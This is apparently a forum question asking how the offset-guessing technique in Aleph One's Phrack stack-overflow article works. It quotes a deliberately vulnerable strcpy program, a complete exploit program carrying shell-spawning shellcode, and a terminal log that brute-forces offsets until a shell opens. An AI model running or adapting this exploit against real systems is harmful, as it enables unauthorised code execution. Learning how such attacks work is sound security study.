title: Can you explain the method of finding the offset of a buffer when looking for buffer overflow potential
body: <p>I'm looking at <a href="http://phrack.org/issues/49/14.html" rel="nofollow">aleph's article on phrack magazine</a>. The code below can also be found there.</p>
  
  <p>We have a vulnerable executable which it's code is:</p>
  
  <p><strong>vulnerable.c</strong></p>
  
  <pre><code>void main(int argc, char *argv[]) {
    char buffer[512];
  
    if (argc &gt; 1)
      strcpy(buffer,argv[1]);
  }
  </code></pre>
  
  <p>Now, since we don't really know, when trying to attack that executable (by overflowing <code>buffer</code>), what is the address of <code>buffer</code>. We need to know it's address because we want to override the <code>ret</code> to point to the beginning of <code>buffer</code> (in which we put our shellcode).</p>
  
  <p>The guessing procedure that is described in the article is as follows:</p>
  
  <blockquote>
    <p>We can create a program that takes as a parameter a buffer size, and
    an offset from its own stack pointer (where we believe the buffer we
    want to overflow may live).  We'll put the overflow string in an
    environment variable so it is easy to manipulate:</p>
  </blockquote>
  
  <p><strong>exploit2.c</strong></p>
  
  <pre><code>#include &lt;stdlib.h&gt;
  
  #define DEFAULT_OFFSET                    0
  #define DEFAULT_BUFFER_SIZE             512
  
  char shellcode[] = //this shellcode merely opens a shell
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  
  unsigned long get_sp(void) {
     __asm__("movl %esp,%eax");
  }
  
  void main(int argc, char *argv[]) {
    char *buff, *ptr;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i;
  
    if (argc &gt; 1) bsize  = atoi(argv[1]);
    if (argc &gt; 2) offset = atoi(argv[2]);
  
    if (!(buff = malloc(bsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
    }
  
    addr = get_sp() - offset;
    printf("Using address: 0x%x\n", addr);
  
    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i &lt; bsize; i+=4)
      *(addr_ptr++) = addr;
  
    ptr += 4;
    for (i = 0; i &lt; strlen(shellcode); i++)
      *(ptr++) = shellcode[i];
  
    buff[bsize - 1] = '\0';
  
    memcpy(buff,"EGG=",4);
    putenv(buff);
    system("/bin/bash");
  }
  </code></pre>
  
  <blockquote>
    <p>Now we can try to guess what the buffer and offset should be:</p>
  </blockquote>
  
  <pre><code>[aleph1]$ ./exploit2 500
  Using address: 0xbffffdb4
  [aleph1]$ ./vulnerable $EGG
  [aleph1]$ exit
  [aleph1]$ ./exploit2 600
  Using address: 0xbffffdb4
  [aleph1]$ ./vulnerable $EGG
  Illegal instruction
  [aleph1]$ exit
  [aleph1]$ ./exploit2 600 100
  Using address: 0xbffffd4c
  [aleph1]$ ./vulnerable $EGG
  Segmentation fault
  [aleph1]$ exit
  [aleph1]$ ./exploit2 600 200
  Using address: 0xbffffce8
  [aleph1]$ ./vulnerable $EGG
  Segmentation fault
  [aleph1]$ exit
  .
  .
  .
  [aleph1]$ ./exploit2 600 1564
  Using address: 0xbffff794
  [aleph1]$ ./vulnerable $EGG
  $
  </code></pre>
  
  <p>I don't understand what does the writer meant to present, in <code>explot2.c</code> we guess the size of the buffer in <code>vulnerable.c</code> and it's offset from the stack pointer. </p>
  
  <ul>
  <li>Why do we apply this offset on the stack pointer of <code>exploit2</code>? </li>
  <li>How does this effect <code>vulnerable</code>? </li>
  <li>What's the purpose of <code>exploit2.c</code> except from building the <code>EGG</code> environment variable?</li>
  <li>Why do we call <code>system("/bin/bash");</code> at the end?</li>
  <li>What's going on between <code>vulnerable</code> and <code>exploit2</code> in general?</li>
  </ul>